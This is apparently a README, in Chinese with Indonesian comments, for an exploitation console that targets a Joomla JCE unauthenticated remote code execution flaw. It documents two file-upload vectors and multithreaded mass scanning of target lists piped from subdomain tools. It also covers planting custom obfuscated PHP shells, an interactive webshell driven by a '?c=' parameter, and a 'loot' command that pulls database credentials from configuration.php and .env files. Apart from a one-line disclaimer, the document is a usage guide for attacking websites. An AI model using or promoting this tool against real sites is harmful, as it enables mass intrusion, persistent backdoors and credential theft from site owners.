ZERODAY // JCE RCE 控制台
面向 CVE-2026-48907 的一体化控制台操作工具——针对 Joomla + JCE 扩展的未授权远程代码执行。
单文件、双向量、四种工作模式,以及内置交互式 shell:
| 向量 | 路径 | 工作原理 |
|---|---|---|
| V1 | tmp/ 配置文件导入 | 通过 task=profiles.import 上传,然后在公共目录(/tmp、/administrator/tmp、/cache、/logs、/images、/media、/uploads、/)中探测文件 |
| V2 | JCE 浏览器 RPC | 导入宽松的配置文件 → 将 plugin.rpc&plugin=browser 上传到 /images/ → 如有需要,将 .gif 重命名为 .php |
工作模式:single · mass · auto-interactive · custom-shell。
⚠️ 免责声明——本工具仅用于安全研究,以及测试您自己拥有或已获得书面测试授权的系统。未经授权的使用属于违法行为。
依赖要求:
requests 和 colorama 模块(urllib3 会随 requests 一同安装)pip install requests colorama
检查安装:
python JcE.py --help
在 Windows 上,请使用 PowerShell/Windows Terminal,以确保颜色和字形显示整齐。如果终端不支持颜色,请使用 --no-color 运行。
Jc3/
├── JcE.py # console utama
├── lists.txt # contoh daftar target (satu URL per baris)
├── mnger.php # contoh custom PHP payload (obfuscated)
└── README.md
File target: 每行一个 URL。空行和以 # 开头的行会被忽略。如果未写明,会自动添加 https:// 方案。
https://joomla1.target.com
joomla2.target.com
# baris komentar diabaikan
http://140.122.146.138
https://joomla3.target.com/
输出默认:
| 文件 | 内容 |
|---|---|
shells.txt | 成功写入的 shell / 文件 URL |
rce.txt | 仅已验证的 RCE,格式为 URL -> VEKTOR |
python JcE.py
脚本会显示启动序列、横幅,然后显示 COMMAND INDEX:
| 选项 | 模式 | 功能 |
|---|---|---|
1 | 单目标 | 利用单个目标,然后手动会话 |
2 | 批量利用 | 从目标文件扫描,多线程 |
3 | 自动交互 | 利用 → 验证 → 直接进入 shell |
4 | 自定义 Shell | 部署自己的 PHP payload |
0 | 退出 | 退出控制台 |
每个选项都会询问参数(目标、超时、输出文件等)。默认值显示在 [ ] 中——按 Enter 使用默认值。
python JcE.py -u https://joomla.target.com
执行的步骤:
jce.xml、com_jce、主页)。>= 2.9.99.5,目标被视为已修补,进程终止。csrf.token、隐藏输入、meta 标签、JSON 嵌入)。tmp/ 配置文件导入)。MATHOK:<乘法结果>)。shells.txt 和 rce.txt。默认情况下,脚本在攻击单个目标前会请求确认。使用 -y 跳过。
python JcE.py -u https://joomla.target.com --shell
--shell / --auto-shell 仅适用于单个目标;在批量模式下,此选项会自动关闭。
python JcE.py -u https://joomla.target.com --auto
与 --shell 不同,此模式在 RCE 未经验证时会停止——不会出现后续提示。
python JcE.py -l lists.txt -t 20 --timeout 20
-l / -f / --file / --list — 目标列表文件-t / --threads — 并行工作线程数,1–200,默认 50--timeout — 每个请求的 HTTP 超时时间,3–120 秒,默认 15shells.txt 和 rce.txt 在扫描开始时被重置--auto 和 --shell 在批量模式下被忽略允许同时使用 -u 和 -l;两者会合并。
python JcE.py -u https://target.com -F mnger.php
mnger.php)与其他模式组合:
# custom shell + mass scan
python JcE.py -l lists.txt -F mnger.php -t 20
# custom shell + auto interactive
python JcE.py -u https://target.com -F mnger.php --auto
当 stdin 不是终端时,脚本会从每一行中提取 http(s):// URL(在此路径下,不带协议方案的行会被忽略):
subfinder -d target.com | httpx -silent | python JcE.py
带结果存储的示例:
cat subdomains.txt | httpx -silent | python JcE.py -t 30 --silent --json report.json
# deteksi / exploit satu target
python JcE.py -u https://joomla.target.com
# single + langsung shell + debug log
python JcE.py -u https://joomla.target.com --shell -v
# massal senyap, simpan JSON
python JcE.py -l lists.txt -t 30 --silent -o shells.txt -r rce.txt --json report.json
# tanpa prompt konfirmasi
python JcE.py -u https://joomla.target.com -y
# custom shell massal
python JcE.py -l lists.txt -F mnger.php -t 20 --silent
| 选项 | 说明 |
|---|---|
-u, --url | 单个目标 URL |
-f, --file, -l, --list | 目标列表文件(每行一个 URL) |
| 选项 | 默认值 | 说明 |
|---|---|---|
-t, --threads | 50 | 批量模式的线程数(限制为 1–200) |
--timeout | 15 | HTTP 超时时间(秒)(限制为 3–120) |
| 选项 | 说明 |
|---|---|
--shell, --auto-shell | RCE 成功后自动进入交互式 shell(单目标) |
--auto | 自动交互:上传 → 验证 → 实时 shell |
-F, --shell-file | 要上传的自定义 PHP shell/上传器的路径 |
| 选项 | 默认值 | 说明 |
|---|---|---|
-o, --output | shells.txt | 成功获取的 shell URL 文件 |
-r, --rce-output | rce.txt | 已验证的 RCE 文件(URL -> 向量) |
--json | — | 将 JSON 报告保存到文件 |
| 选项 | 说明 |
|---|---|
-y, --yes | 跳过确认提示(单目标) |
-v, --verbose | 显示调试日志(DBG) |
--silent | 不显示每个目标的日志且不显示提示 |
--no-color | 禁用颜色/ANSI |
在 RCE 验证成功后,控制台会上传一个名为 cyph_i_<random>.php 的附加交互式 shell。如果上传失败,则通过 base64 -d 命令写入 payload。
Shell 通过参数 ?c=<cmd> 运行,例如:
https://target.com/images/jce1a2b3c4d.php?c=id
| 命令 | 功能 |
|---|---|
cd <path> | 切换目录(支持 cd、cd ~、cd ~/dir) |
exit / quit / :q / q / back / b | 关闭 shell |
!help / ? / help | 显示帮助 |
!info | 会话信息(基础 shell、活动 shell、身份、cwd、home) |
!clear / cls / clear | 清屏 |
sysinfo | id、hostname、uname -a、pwd、PHP 版本 |
funcs | 检查可用的执行函数(shell_exec、exec、system、passthru、popen、proc_open、pcntl_exec) |
phpinfo | 显示 disable_functions 及相关 PHP 设置 |
loot | 查找 configuration.php / .env 并 grep 数据库凭据 |
debug | 显示原始 HTTP 响应 |
其他命令在目标上按原样执行,并 cd 到当前工作目录。命令也相对于会话中保存的 cwd 执行。
target
└─ detect_jce() fingerprint versi / com_jce
└─ is_patched() >= 2.9.99.5 ? stop
└─ get_token() panen CSRF token
├─ vector1_tmp() upload + probe 10 direktori
└─ vector2_browser() profile permisif + upload + rename
└─ verifikasi (MATHOK marker) / custom shell (HTTP 200)
├─ run_single() simpan URL + ringkasan
├─ run_mass() paralel + ringkasan
└─ interactive_shell() sesi live
技术细节简述:
?c= 执行命令,并返回 RXST:<base64 output>:RXEND。.php、.phtml、.php7、.phar、.php5、.xml.php。task=cpanel.feed 返回 feed("feeds")时才尝试 V2。UPLOADED(而非 RCE)。| 代码 | 含义 |
|---|---|
0 | 完成且无发现,或用户取消 |
1 | 有文件已上传但 RCE 未经验证,或利用失败 |
2 | 至少一个目标 RCE 已验证 |
适用于脚本/CI:
python JcE.py -l lists.txt --silent
if [ $? -eq 2 ]; then echo "RCE ditemukan"; fi
注意:不带参数运行时(交互式菜单),控制台以 0 退出。
| 变量 | 作用 |
|---|---|
NO_COLOR=1 | 禁用颜色 |
CLICOLOR=0 | 禁用颜色 |
CLICOLOR_FORCE=1 | 即使输出不是 TTY 也强制启用颜色 |
FORCE_COLOR=0/16/256/1 | 强制模式:关闭 / 16 色 / 256 色 / truecolor |
TERM=dumb | 禁用颜色 |
COLORTERM=truecolor | 启用 truecolor |
JCE_NO_ANIM=1 | 关闭启动/故障动画 |
颜色会根据终端能力自动降级(truecolor → 256 → 16 → 无颜色)。
| 症状 | 原因 / 解决方案 |
|---|---|
JCE not detected | JCE 未安装、路径已更改,或目标不是 Joomla |
target is patched (>= 2.9.99.5) | JCE 版本已修复 |
CSRF token not found | 令牌未在公开页面中暴露;运行 -v 查看被探测的页面 |
file uploaded (RCE unverified) | 文件已写入但未被执行(PHP 被禁用 / 扩展被阻止)。URL 仍会保存 |
shell 中显示 (no output) | 命令执行但无输出,或 disable_functions 阻止了执行;检查 funcs |
funcs 显示 DISABLED | 服务器上命令执行被阻止 |
| Windows 上颜色显示异常 | 使用 Windows Terminal,或 --no-color |
ModuleNotFoundError | pip install requests colorama |
| 批量模式缓慢 / 超时 | 降低 -t,提高 --timeout |
如需深入诊断,请运行 -v:DBG 日志会显示每个页面的令牌、注入响应以及目录探测结果。
--shell 和 --auto 需要目标真正能够执行 PHP。